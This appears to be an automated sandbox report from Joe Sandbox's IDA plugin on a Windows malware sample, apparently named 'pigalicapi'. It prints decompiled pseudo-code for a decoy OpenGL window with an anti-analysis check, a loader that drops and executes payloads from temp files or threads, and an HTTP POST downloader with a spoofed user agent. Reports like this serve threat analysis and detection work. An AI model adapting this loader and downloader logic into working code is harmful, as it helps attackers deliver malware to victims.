										__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
										if(__eflags != 0) {
											goto L90;
										}
										_t321 = E04007250(_v20, _v52, _v56);
										_t598 = _t598 + 0xc;
										__eflags = _t321 & 0x000000ff;
										if((_t321 & 0x000000ff) != 0) {
											_t528 = _v20;
											__eflags =  *(_t528 + 0x14);
											if( *(_t528 + 0x14) == 0) {
												L48:
												_t529 = _v20;
												__eflags =  *(_t529 + 0xc) & 0x00000001;
												if(( *(_t529 + 0xc) & 0x00000001) == 0) {
													GetEnvironmentVariableA("TEMP",  &_v1196, 0x104);
													E04007D20( &_v932,  &_v932, 0, 0xa);
													E04009730( &_v932, 4);
													_t598 = _t598 + 0x14;
													GetTempFileNameA( &_v1196,  &_v932, GetTickCount() % 0xffff,  &_v916);
													_v920 = CreateFileA( &_v916, 0x40000000, 1, 0, 2, 0, 0);
													__eflags = _v920 - 0xffffffff;
													if(_v920 == 0xffffffff) {
														L89:
														goto L24;
													}
													_v1200 = 0;
													_v1204 = 0;
													_v1208 = _v56;
													_t333 = _v20;
													__eflags =  *(_t333 + 0xc) & 0x00000010;
													if(( *(_t333 + 0xc) & 0x00000010) == 0) {
														_v1204 = WriteFile(_v920, _v52, _v56,  &_v1200, 0);
													} else {
														_v1216 =  *((intOrPtr*)(_v52 + _v56 - 4));
														_v1212 = VirtualAlloc(0, _v1216, 0x3000, 4);
														__eflags = _v1212;
														if(_v1212 != 0) {
															_t349 = E04006260(_v56, _v52, _v56, _v1212, _v1216);
															__eflags = _t349 - _v1216;
															if(_t349 == _v1216) {
																_v1204 = WriteFile(_v920, _v1212, _v1216,  &_v1200, 0);
																_v1208 = _v1216;
															}
															VirtualFree(_v1212, 0, 0x8000);
														}
													}
													__eflags = _v1204;
													if(_v1204 == 0) {
														L88:
														CloseHandle(_v920);
													} else {
														__eflags = _v1200 - _v1208;
														if(_v1200 != _v1208) {
															goto L88;
														}
														CloseHandle(_v920);
														_t340 = E04001E60( &_v916);
														_t598 = _t598 + 4;
														_v1220 = _t340;
														__eflags = _v1220;
														if(_v1220 != 0) {
															_t465 = _v20;
															__eflags =  *(_t465 + 0x10);
															if( *(_t465 + 0x10) != 0) {
																E040073C0(_v20, _v52, _v56);
																_t598 = _t598 + 0xc;
															}
															_t539 = _v20;
															__eflags =  *(_t539 + 0xc) & 0x00000004;
															if(( *(_t539 + 0xc) & 0x00000004) != 0) {
																E04002510(_v1220, 0x400e290);
																_t598 = _t598 + 8;
															}
															_v8 = 1;
														}
													}
													goto L89;
												}
												_v636 = 0;
												_v632 = 0;
												_v640 = 0;
												_t472 = _v20;
												__eflags =  *(_t472 + 0xc) & 0x00000010;
												if(( *(_t472 + 0xc) & 0x00000010) == 0) {
													_t355 = E04002070(_v52);
													_t598 = _t598 + 4;
													_v636 = _t355;
												} else {
													_v640 =  *((intOrPtr*)(_v52 + _v56 - 4));
													_t378 = VirtualAlloc(0, _v640, 0x3000, 4); // executed
													_v644 = _t378;
													__eflags = _v644;
													if(_v644 != 0) {
														_t381 = E04006260(_v644, _v52, _v56, _v644, _v640);
														__eflags = _t381 - _v640;
														if(_t381 == _v640) {
															_t383 = E04002070(_v644); // executed
															_t598 = _t598 + 4;
															_v636 = _t383;
															_t563 = _v20;
															__eflags =  *(_t563 + 0xc) & 0x00000008;
															if(( *(_t563 + 0xc) & 0x00000008) != 0) {
																_t386 = VirtualAlloc(0, _v640, 0x3000, 4); // executed
																_v632 = _t386;
																E04007B70(_v632, _v644, _v640);
																_t598 = _t598 + 0xc;
															}
														}
														VirtualFree(_v644, 0, 0x8000); // executed
													}
												}
												__eflags = _v636;
												if(_v636 != 0) {
													_t473 = _v20;
													__eflags =  *(_t473 + 0x10);
													if( *(_t473 + 0x10) != 0) {
														E040073C0(_v20, _v52, _v56);
														_t598 = _t598 + 0xc;
													}
													_t549 = _v20;
													__eflags =  *(_t549 + 0xc) & 0x00000008;
													if(( *(_t549 + 0xc) & 0x00000008) != 0) {
														_t361 = E040097A0(0x10);
														_t598 = _t598 + 4;
														_v1228 = _t361;
														_v648 = _v1228;
														_t551 = _v20;
														__eflags =  *(_t551 + 0xc) & 0x00000010;
														if(( *(_t551 + 0xc) & 0x00000010) == 0) {
															 *_v648 = VirtualAlloc(0, _v56, 0x3000, 4);
															__eflags =  *_v648;
															if( *_v648 != 0) {
																E04007B70( *_v648, _v52, _v56);
																_t598 = _t598 + 0xc;
																 *(_v648 + 4) = _v56;
															}
														} else {
															 *_v648 = _v632;
															 *(_v648 + 4) = _v640;
														}
														__eflags =  *_v648;
														if( *_v648 != 0) {
															 *((intOrPtr*)(_v648 + 8)) =  *((intOrPtr*)(_v20 + 0xc));
															 *((intOrPtr*)(_v648 + 0xc)) = _v636;
															_t368 = CreateThread(0, 0, E040077B0, _v648, 0, 0); // executed
															_v652 = _t368;
															CloseHandle(_v652);
														}
													}
													_t550 = _v20;
													__eflags =  *(_t550 + 0xc) & 0x00000004;
													if(( *(_t550 + 0xc) & 0x00000004) != 0) {
														E04002510(_v636, 0x400e290);
														_t598 = _t598 + 8;
													}
													_v8 = 1;
												}
												goto L24;
											}
											_v620 = VirtualAlloc(0, _v56, 0x3000, 4);
											__eflags = _v620;
											if(_v620 == 0) {
												goto L48;
											}
											E04007B70(_v620, _v52, _v56);
											_t393 = E040097A0(0x20);
											_t598 = _t598 + 0x10;
											_v1224 = _t393;
											_v624 = _v1224;
											 *_v624 =  *_v20;
											 *((intOrPtr*)(_v624 + 4)) =  *((intOrPtr*)(_v20 + 4));
											 *((intOrPtr*)(_v624 + 8)) =  *((intOrPtr*)(_v20 + 8));
											 *((intOrPtr*)(_v624 + 0x14)) =  *((intOrPtr*)(_v20 + 0x14));
											 *((intOrPtr*)(_v624 + 0x1c)) = _v56;
											 *((intOrPtr*)(_v624 + 0xc)) =  *((intOrPtr*)(_v20 + 0xc));
											 *((intOrPtr*)(_v624 + 0x10)) =  *((intOrPtr*)(_v20 + 0x10));
											 *(_v624 + 0x18) = _v620;
											_v628 = CreateThread(0, 0, E04006DA0, _v624, 0, 0);
											CloseHandle(_v628);
											goto L24;
										}
										goto L24;
									}
									goto L24;
								}
								__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
								if(__eflags != 0) {
									goto L39;
								}
								GetEnvironmentVariableA("TEMP",  &_v604, 0x104);
								E04007D20( &_v340,  &_v340, 0, 0xa);
								E04009730( &_v340, 4);
								_t598 = _t598 + 0x14;
								GetTempFileNameA( &_v604,  &_v340, GetTickCount() % 0xffff,  &_v324);
								_v328 = CreateFileA( &_v324, 0x40000000, 1, 0, 2, 0x80, 0);
								__eflags = _v328 - 0xffffffff;
								if(_v328 == 0xffffffff) {
									goto L39;
								}
								_v608 = 0;
								_v612 = 0;
								_t415 = WriteFile(_v328, _v52, _v56,  &_v612, 0);
								__eflags = _t415;
								if(_t415 == 0) {
									L37:
									__eflags = _v608;
									if(_v608 == 0) {
										CloseHandle(_v328);
									}
									goto L39;
								}
								__eflags = _v612 - _v56;
								if(_v612 != _v56) {
									goto L37;
								}
								_v608 = CloseHandle(_v328);
								E04006C60();
								_t421 = E04001E60( &_v324);
								_t598 = _t598 + 4;
								_v616 = _t421;
								__eflags = _v616;
								if(_v616 == 0) {
									E04006CF0();
									goto L37;
								}
								E040074A0();
								ExitProcess(0);
							}
							_v60 =  *_v20;
							_v20 = _v20 + _v60;
							__eflags = _v20 - _a4 + _a8;
							if(_v20 <= _a4 + _a8) {
								goto L29;
							}
							return 0;
						}
						__eflags = (_v13 & 0x000000ff) - 1;
						if((_v13 & 0x000000ff) != 1) {
							 *0x40130e4 = 1;
						} else {
							 *0x40130e4 = 2;
						}
					}
					goto L99;
				}
			}

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 040063BD
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 04006408

Strings

Kobucgekyxca, xrefs: 04006C06
TEMP, xrefs: 040069C6
TEMP, xrefs: 040064C6

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: Kobucgekyxca$TEMP$TEMP
API String ID: 2087232378-2361037019
Opcode ID: 36a74629caef2e12234a485460b867fdbdc2bfda1a936d4e7568c691b9f69a1a
Instruction ID: 78f313c43f0008814aaec3ee7e7f4a65c37c9c75159239be5687e4ed3a221f5b
Opcode Fuzzy Hash: 36a74629caef2e12234a485460b867fdbdc2bfda1a936d4e7568c691b9f69a1a
Instruction Fuzzy Hash: 70522BB5A042199FEB54DF94DC88FAEB7B6FB48304F148598E509BB280D775AE80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 004015A6 Relevance: 52.7, APIs: 26, Strings: 4, Instructions: 243
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E004015A6(struct HINSTANCE__* _a4) {
				void* _v12;
				int _v16;
				int _v20;
				struct HWND__* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				int _v36;
				int _v40;
				int _v44;
				intOrPtr _v64;
				long _v68;
				char _v72;
				int _v76;
				int _v80;
				struct _WNDCLASSA _v120;
				void* _v132;
				void* _v136;
				void* _v140;
				void* _v144;
				void* _v148;
				void* _v152;
				void* _v156;
				void* _v160;
				int _v164;
				int _v168;
				int _v172;
				int _v176;
				intOrPtr _v188;
				int _v192;
				int _v196;
				int _v212;
				int _v216;
				intOrPtr _v228;
				int _v232;
				intOrPtr _v236;
				intOrPtr _v248;
				char _v252;
				int _v256;
				intOrPtr _v268;
				struct HWND__* _t107;
				long _t128;
				signed int _t131;
				void* _t174;
				void* _t181;
				struct HWND__** _t183;
				int* _t185;
				intOrPtr* _t187;
				int* _t189;
				int* _t191;
				intOrPtr* _t192;
				intOrPtr* _t193;
				int* _t194;
				intOrPtr* _t197;

				_v16 = 0;
				_v20 = 0;
				_v120.style = 0x20;
				_v120.lpfnWndProc = E004019EF;
				_v120.cbClsExtra = 0;
				_v120.cbWndExtra = 0;
				_v120.hInstance = _a4;
				_v120.hIcon = LoadIconA(0, 0x7f00);
				_v120.hCursor = LoadCursorA(0, 0x7f00);
				_v120.hbrBackground = GetStockObject(4);
				_v120.lpszMenuName = 0;
				_v120.lpszClassName = "GLSample";
				RegisterClassA( &_v120);
				ShowWindow(_v24, 0); // executed
				_t107 = CreateWindowExA(0, "GLSample", "OpenGL Sample", 0x80c80000, 0, 0, 0x100, 0x100, 0, 0, _a4, 0); // executed
				_t181 = _t174 - 0x50;
				_v24 = _t107;
				_v28 = 0xa93;
				_v32 = 0x63c;
				_v76 = 0;
				_v80 = 0;
				if((E0040140E(_t107) & 0xffffff00 | _t108 != 0x00000000) != 0) {
					ExitProcess(0xffffa883);
				}
				 *0x403000 = 0;
				 *0x403004 = 0;
				 *0x403008 = 0;
				 *0x403010 = 0;
				 *0x40300c = 0;
				 *0x403014 = 0;
				 *0x405020 = 0x270034da;
				E00401479(_v28,  &_v80); // executed
				E00401479(_v32,  &_v76); // executed
				memset(0x405008, 0, 0x18 << 0);
				 *0x405008 = 0;
				 *0x40500c = 1;
				 *0x405010 = _v76;
				_v176 = 0x405008;
				 *_v80();
				_t183 = _t181 + 0xc - 4;
				_v36 = 0;
				_v176 = 0x47754b17;
				 *_t183 =  *0x405018;
				_v36 = E00401362();
				 *_v36();
				_v172 =  &_v44;
				_v176 =  &_v40;
				 *_t183 = _v24;
				_t128 = E00401A87();
				L8:
				if((_t128 & 0xffffff00 | _v16 == 0x00000000) != 0) {
					_v164 = 1;
					_v168 = 0;
					_v172 = 0;
					_v176 = 0;
					 *_t183 =  &_v72;
					_t131 = PeekMessageA(??, ??, ??, ??, ??);
					_t183 = _t183 - 0x14;
					if((_t131 & 0xffffff00 | _t131 != 0x00000000) == 0) {
						_v168 = 0;
						_v172 = 0;
						_v176 = 0;
						 *_t183 = 0;
						L00401B8C();
						_v196 = 0x4000;
						L00401B94();
						_t185 = _t183 - 0xc;
						L00401B9C();
						_v188 = 0x3f800000;
						_v192 = 0;
						_v196 = 0;
						 *_t185 = _v20;
						L00401BA4();
						_v216 = 4;
						L00401BAC();
						_t187 = _t185 - 0xc;
						_v212 = 0;
						_v216 = 0;
						 *_t187 = 0x3f800000;
						L00401BB4();
						_v228 = 0x3f800000;
						_v232 = 0;
						L00401BBC();
						_t189 = _t187 - 4;
						_v232 = 0;
						_v236 = 0x3f800000;
						 *_t189 = 0;
						L00401BB4();
						_v248 = 0xbf000000;
						_v252 = 0x3f5eb852;
						L00401BBC();
						_t191 = _t189 - 4;
						_v252 = 0x3f800000;
						_v256 = 0;
						 *_t191 = 0;
						L00401BB4();
						_t192 = _t191 - 0xc;
						_v268 = 0xbf000000;
						 *_t192 = 0xbf5eb852;
						L00401BBC();
						_t193 = _t192 - 8;
						L00401BC4();
						L00401BCC();
						 *_t193 = _v40;
						_t128 = SwapBuffers(??);
						_t194 = _t193 - 4;
						asm("fld1");
						asm("faddp st1, st0");
						 *_t194 = 1;
						Sleep(??);
						_t183 = _t194 - 4;
					} else {
						_t128 = _v68;
						if(_t128 != 0x12) {
							 *_t183 =  &_v72;
							TranslateMessage(??);
							_t197 = _t183 - 4;
							 *_t197 =  &_v72;
							_t128 = DispatchMessageA(??);
							_t183 = _t197 - 4;
						} else {
							_v16 = 1;
						}
					}
					goto L8;
				}
				_v172 = _v44;
				_v176 = _v40;
				 *_t183 = _v24;
				E00401B48();
				 *_t183 = _v24;
				DestroyWindow(??);
				return _v64;
			}

APIs

LoadIconA.USER32 ref: 004015F1
LoadCursorA.USER32 ref: 0040160B
GetStockObject.GDI32 ref: 0040161D
RegisterClassA.USER32 ref: 0040163C
ShowWindow.USER32 ref: 00401652
CreateWindowExA.USER32 ref: 004016B8

Part of subcall function 0040140E: ZwOpenSymbolicLinkObject.NTDLL ref: 0040142B

ExitProcess.KERNEL32 ref: 004016F4
PeekMessageA.USER32 ref: 0040180E
TranslateMessage.USER32 ref: 00401839
DispatchMessageA.USER32 ref: 00401847
glClearColor.OPENGL32 ref: 00401877
glClear.OPENGL32 ref: 00401886
glPushMatrix.OPENGL32 ref: 0040188E
glRotatef.OPENGL32 ref: 004018B4
glBegin.OPENGL32 ref: 004018C3
glColor3f.OPENGL32 ref: 004018E5
glVertex2f.OPENGL32 ref: 004018FE
glColor3f.OPENGL32 ref: 00401920
glVertex2f.OPENGL32 ref: 00401939
glColor3f.OPENGL32 ref: 0040195B
glVertex2f.OPENGL32 ref: 00401974
glEnd.OPENGL32 ref: 0040197C
glPopMatrix.OPENGL32 ref: 00401981
SwapBuffers.GDI32 ref: 0040198C
Sleep.KERNEL32 ref: 004019A5
DestroyWindow.USER32 ref: 004019DB

Strings

w@@, xrefs: 004016A1
, xrefs: 004015C0
n@@, xrefs: 0040162F
n@@, xrefs: 004016A9

Memory Dump Source

Source File: 00000006.00000002.558505777.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.558382730.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558681103.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558864837.0000000000406000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559037175.0000000000409000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559758809.0000000000420000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_pigalicapi.jbxd

Similarity

API ID: Color3fMessageVertex2fWindow$ClearLoadMatrixObject$BeginBuffersClassColorCreateCursorDestroyDispatchExitIconLinkOpenPeekProcessPushRegisterRotatefShowSleepStockSwapSymbolicTranslate
String ID: $n@@$n@@$w@@
API String ID: 3509731714-3974239601
Opcode ID: 31a8f6508b6a69f61902bea075c8000fa891c0c2f27cafeab63b9a8dec4b5150
Instruction ID: 3f63ee1ad5c8460eb48b3716f0d43e342052f4db54b8eddb3283573a26ff4ac5
Opcode Fuzzy Hash: 31a8f6508b6a69f61902bea075c8000fa891c0c2f27cafeab63b9a8dec4b5150
Instruction Fuzzy Hash: 9DB1B6B09043059BDB00FFA9C55939EBFF0AB44308F50893EE484AB395E7799949CF96

Uniqueness

Uniqueness Score: -1.00%

Function 04001840 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 260
networkfilememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04001840(char* _a4, void* _a8, long _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28, intOrPtr* _a32) {
				long _v8;
				char _v276;
				char _v1300;
				char _v1564;
				void* _v1568;
				void* _v1572;
				char* _v1576;
				intOrPtr _v1588;
				char* _v1592;
				signed short _v1612;
				intOrPtr _v1616;
				char* _v1620;
				void* _v1636;
				void* _v1640;
				void* _v1644;
				void* _v1648;
				long _v1652;
				void _v1656;
				void _v1916;
				long _v1920;
				long _v1924;
				long _v1928;
				void* _v1932;
				intOrPtr _v1936;
				long _v1940;
				long _v1944;
				long _v1948;
				void _v2972;
				long _v2976;
				int _t116;
				void* _t117;
				void* _t119;
				void* _t123;
				int _t133;
				void* _t143;
				long _t151;
				void* _t194;
				void* _t195;
				void* _t196;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L37:
					return _v8;
				} else {
					_v1644 = 0;
					_v1640 = 0;
					_v1568 = 0;
					_v1576 = "*/*";
					_v1572 = 0;
					E04007D20( &_v1636,  &_v1636, 0, 0x3c);
					_t195 = _t194 + 0xc;
					_v1636 = 0x3c;
					_v1620 =  &_v1564;
					_v1616 = 0x104;
					_v1592 =  &_v276;
					_v1588 = 0x104;
					_t116 = InternetCrackUrlA(_a4, 0, 0,  &_v1636); // executed
					if(_t116 == 0) {
						goto L37;
					}
					_t117 = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", 1, 0, 0, 0); // executed
					_v1644 = _t117;
					if(_v1644 == 0) {
						goto L37;
					}
					_t119 = InternetConnectA(_v1644, _v1620, _v1612 & 0x0000ffff, 0, 0, 3, 0, 0); // executed
					_v1640 = _t119;
					if(_v1640 == 0) {
						L36:
						InternetCloseHandle(_v1644);
						goto L37;
					}
					_t123 = HttpOpenRequestA(_v1640, "POST", _v1592, 0, 0,  &_v1576, 0x200300, 0); // executed
					_v1568 = _t123;
					if(_v1568 == 0) {
						L35:
						InternetCloseHandle(_v1640);
						goto L36;
					}
					wnsprintfA( &_v1300, 0x400, "Accept-Language: en-us\r\nContent-Type: application/octet-stream\r\nContent-Length: %d\r\n", _a12);
					_t196 = _t195 + 0x10;
					if(HttpAddRequestHeadersA(_v1568,  &_v1300, 0xffffffff, 0) == 0) {
						L34:
						InternetCloseHandle(_v1568); // executed
						goto L35;
					}
					_v1656 = 0x7530;
					if(_a28 > 0) {
						_v1656 = _a28;
					}
					InternetSetOptionA(_v1568, 6,  &_v1656, 4);
					_v1652 = 1;
					_v1648 = 0;
					do {
						_v1920 = 0x100;
						E04007D20( &_v1916,  &_v1916, 0, 0x100);
						_t196 = _t196 + 0xc;
						_v1924 = 0;
						_t133 = HttpSendRequestA(_v1568, 0, 0, _a8, _a12); // executed
						if(_t133 == 0) {
							goto L32;
						}
						if(HttpQueryInfoA(_v1568, 0x13,  &_v1916,  &_v1920,  &_v1924) != 0) {
							_t137 = E04007DD0( &_v1916);
							_t196 = _t196 + 4;
							_v1936 = _t137;
							if(_a32 != 0) {
								_t137 = _a32;
								 *_a32 = _v1936;
							}
						}
						E04007D20(_t137,  &_v1916, 0, 0x100);
						_t196 = _t196 + 0xc;
						_v1928 = 0x500000;
						if(HttpQueryInfoA(_v1568, 5,  &_v1916,  &_v1920,  &_v1924) != 0) {
							_t151 = E04007DD0( &_v1916);
							_t196 = _t196 + 4;
							_v1940 = _t151;
							if(_v1940 > 0 && _v1940 < 0x40000000) {
								_v1928 = _v1940;
							}
						}
						_t143 = VirtualAlloc(0, _v1928, 0x3000, 4); // executed
						_v1932 = _t143;
						if(_v1932 == 0) {
							_v2976 = 0;
							do {
								InternetReadFile(_v1568,  &_v2972, 0x400,  &_v2976);
							} while (_v2976 > 0);
						} else {
							 *_a16 = _v1932;
							 *_a20 = _v1928;
							_v8 = 1;
							_v1944 = _v1928;
							while(1) {
								_v1948 = 0;
								InternetReadFile(_v1568, _v1932, _v1944,  &_v1948); // executed
								if(_a24 != 0) {
									 *_a24 =  *_a24 + _v1948;
								}
								if(_v1948 == 0) {
									break;
								}
								_v1932 = _v1932 + _v1948;
								_v1944 = _v1944 - _v1948;
								if(_v1944 > 0) {
									continue;
								}
								L29:
								goto L32;
							}
							goto L29;
						}
						L32:
						_v1648 = _v1648 + 1;
					} while (_v8 == 0 && _v1648 < 1);
					goto L34;
				}
			}

APIs

InternetCrackUrlA.WININET(00000000,00000000,00000000,0000003C), ref: 04001902
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1),00000001,00000000,00000000,00000000), ref: 0400191D
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 04001956
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,0400C2C8,00200300,00000000), ref: 04001994
wnsprintfA.SHLWAPI ref: 040019C2
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,00000000), ref: 040019DD
InternetSetOptionA.WININET(00000000,00000006,00007530,00000004), ref: 04001A16
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 04001A6D
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 04001A99
HttpQueryInfoA.WININET(00000000,00000005,?,00000100,00000000), ref: 04001B07
VirtualAlloc.KERNEL32(00000000,00500000,00003000,00000004), ref: 04001B57
InternetReadFile.WININET(00000000,00000000,?,00000000), ref: 04001BBF
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 04001C3D
InternetCloseHandle.WININET(00000000), ref: 04001C75
InternetCloseHandle.WININET(00000000), ref: 04001C82
InternetCloseHandle.WININET(00000000), ref: 04001C8F

Strings

<, xrefs: 040018BD
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1), xrefs: 04001918
Accept-Language: en-usContent-Type: application/octet-streamContent-Length: %d, xrefs: 040019B1
0u, xrefs: 040019EB
POST, xrefs: 04001988

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Internet$Http$CloseHandleRequest$FileInfoOpenQueryRead$AllocConnectCrackHeadersOptionSendVirtualwnsprintf
String ID: 0u$<$Accept-Language: en-usContent-Type: application/octet-streamContent-Length: %d$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)$POST
API String ID: 880997049-2804282621
Opcode ID: d9d4cb28da70c868705f456cd8ab0708f990bc07d580d9120d59bd3b3f766fdd
Instruction ID: 104ecec6680c69d5e391cf9d7718dbecb1b5f59d1f4ca396f8eadafade2250d2
Opcode Fuzzy Hash: d9d4cb28da70c868705f456cd8ab0708f990bc07d580d9120d59bd3b3f766fdd
Instruction Fuzzy Hash: 89C10BB19442189BFB64CF50CC49FD9B7B5EB88704F0481D9E60DAA2C0DB7AAAD4CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04004020 Relevance: 30.2, APIs: 20, Instructions: 215
threadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E04004020(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, char _a24) {
				signed int _v5;
				signed int _v12;
				char _v16;
				void* _v20;
				struct _CRITICAL_SECTION _v44;
				long _v48;
				void* _v52;
				void _v56;
				long _v60;
				HANDLE* _v64;
				void* _v68;
				intOrPtr _v72;
				void* _v76;
				intOrPtr _v80;
				signed int _v84;
				void _v92;
				long _v96;
				signed int _v100;
				HANDLE* _v104;
				HANDLE* _v108;
				void* _t114;
				void* _t141;
				void* _t188;
				void* _t189;
				void* _t191;

				_v5 = 0;
				if(_a4 != 0 && _a8 > 0 && _a12 != 0 && _a16 > 0) {
					E04007D20( &_v56,  &_v56, 0, 0x29);
					_t189 = _t188 + 0xc;
					InitializeCriticalSection( &_v44);
					_v16 = _a24;
					_v20 = CreateEventA(0, 1, 0, 0);
					asm("cdq");
					_v12 = _a8 / _a20;
					_v60 = 0;
					while(_v60 < _a16) {
						EnterCriticalSection( &_v44);
						if(_v52 != 0) {
							VirtualFree(_v52, 0, 0x8000);
							_v52 = 0;
							_v48 = 0;
						}
						_t198 = _v56;
						if(_v56 != 0) {
							TerminateThread(_v56, 0);
							_v56 = 0;
						}
						ResetEvent(_v20);
						LeaveCriticalSection( &_v44);
						_t114 = CreateThread(0, 0, E04004AC0,  &_v56, 0, 0); // executed
						_v56 = _t114;
						_v104 = E040097A0( ~(0 | _t198 > 0x00000000) | _a20 * 0x00000004);
						_v64 = _v104;
						E04007D20(_v104, _v64, 0, _a20 << 2);
						_t191 = _t189 + 0x10;
						_v100 = 0;
						while(_v100 < _a20) {
							_v64[_v100] = 0;
							E04007D20(_v64,  &_v92, 0, 0x1c);
							_t191 = _t191 + 0xc;
							_v68 =  &_v56;
							_v72 = _a12;
							_v92 = _a4;
							_v84 = _v100 * _v12;
							if(_v100 >= _a20 - 1) {
								_v80 = _a8 - 1;
							} else {
								_v80 = _v84 + _v12 - 1;
							}
							_v76 = CreateEventA(0, 1, 0, 0);
							_t141 = CreateThread(0, 0, E04004BA0,  &_v92, 0, 0); // executed
							_v64[_v100] = _t141;
							WaitForSingleObject(_v76, 0xffffffff);
							FindCloseChangeNotification(_v76); // executed
							_v100 = _v100 + 1;
						}
						WaitForMultipleObjects(_a20, _v64, 1, 0xffffffff);
						_v96 = WaitForSingleObject(_v20, 0x2710);
						if(_v96 == 0) {
							_v5 = 1;
						}
						_v96 = WaitForSingleObject(_v56, 0x3e8);
						if(_v96 != 0) {
							TerminateThread(_v56, 0);
						}
						EnterCriticalSection( &_v44);
						if(_v52 != 0) {
							VirtualFree(_v52, 0, 0x8000); // executed
							_v52 = 0;
							_v48 = 0;
						}
						LeaveCriticalSection( &_v44);
						_v108 = _v64;
						E040097C0(_v108);
						_t189 = _t191 + 4;
						if((_v5 & 0x000000ff) == 0) {
							_v60 = _v60 + 1;
							continue;
						} else {
						}
						break;
					}
					DeleteCriticalSection( &_v44);
				}
				return _v5;
			}

APIs

InitializeCriticalSection.KERNEL32(?), ref: 04004066
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0400407A
EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
ResetEvent.KERNEL32(00000000), ref: 040040F7
LeaveCriticalSection.KERNEL32(?), ref: 04004101
CreateThread.KERNEL32 ref: 04004118
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040041DD
CreateThread.KERNEL32 ref: 040041F7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0400420C
FindCloseChangeNotification.KERNEL32(?), ref: 04004216
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 0400422D
WaitForSingleObject.KERNEL32(00000000,00002710), ref: 0400423C
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 04004258
TerminateThread.KERNEL32(00000000,00000000), ref: 0400426D
EnterCriticalSection.KERNEL32(?), ref: 04004277
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400428E
LeaveCriticalSection.KERNEL32(?), ref: 040042A6
DeleteCriticalSection.KERNEL32(?,?), ref: 040042D1

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: CriticalSection$CreateThreadWait$EventObjectSingle$EnterFreeLeaveTerminateVirtual$ChangeCloseDeleteFindInitializeMultipleNotificationObjectsReset
String ID:
API String ID: 1593741596-0
Opcode ID: 05fe0913d4c170341a487d691e6358ffadb3a1425a440243058cc0667604890e
Instruction ID: 8bdf0d2272c993105e18f632bfcb20d3462f1ee8570acd5c3bdc395bff94e74a
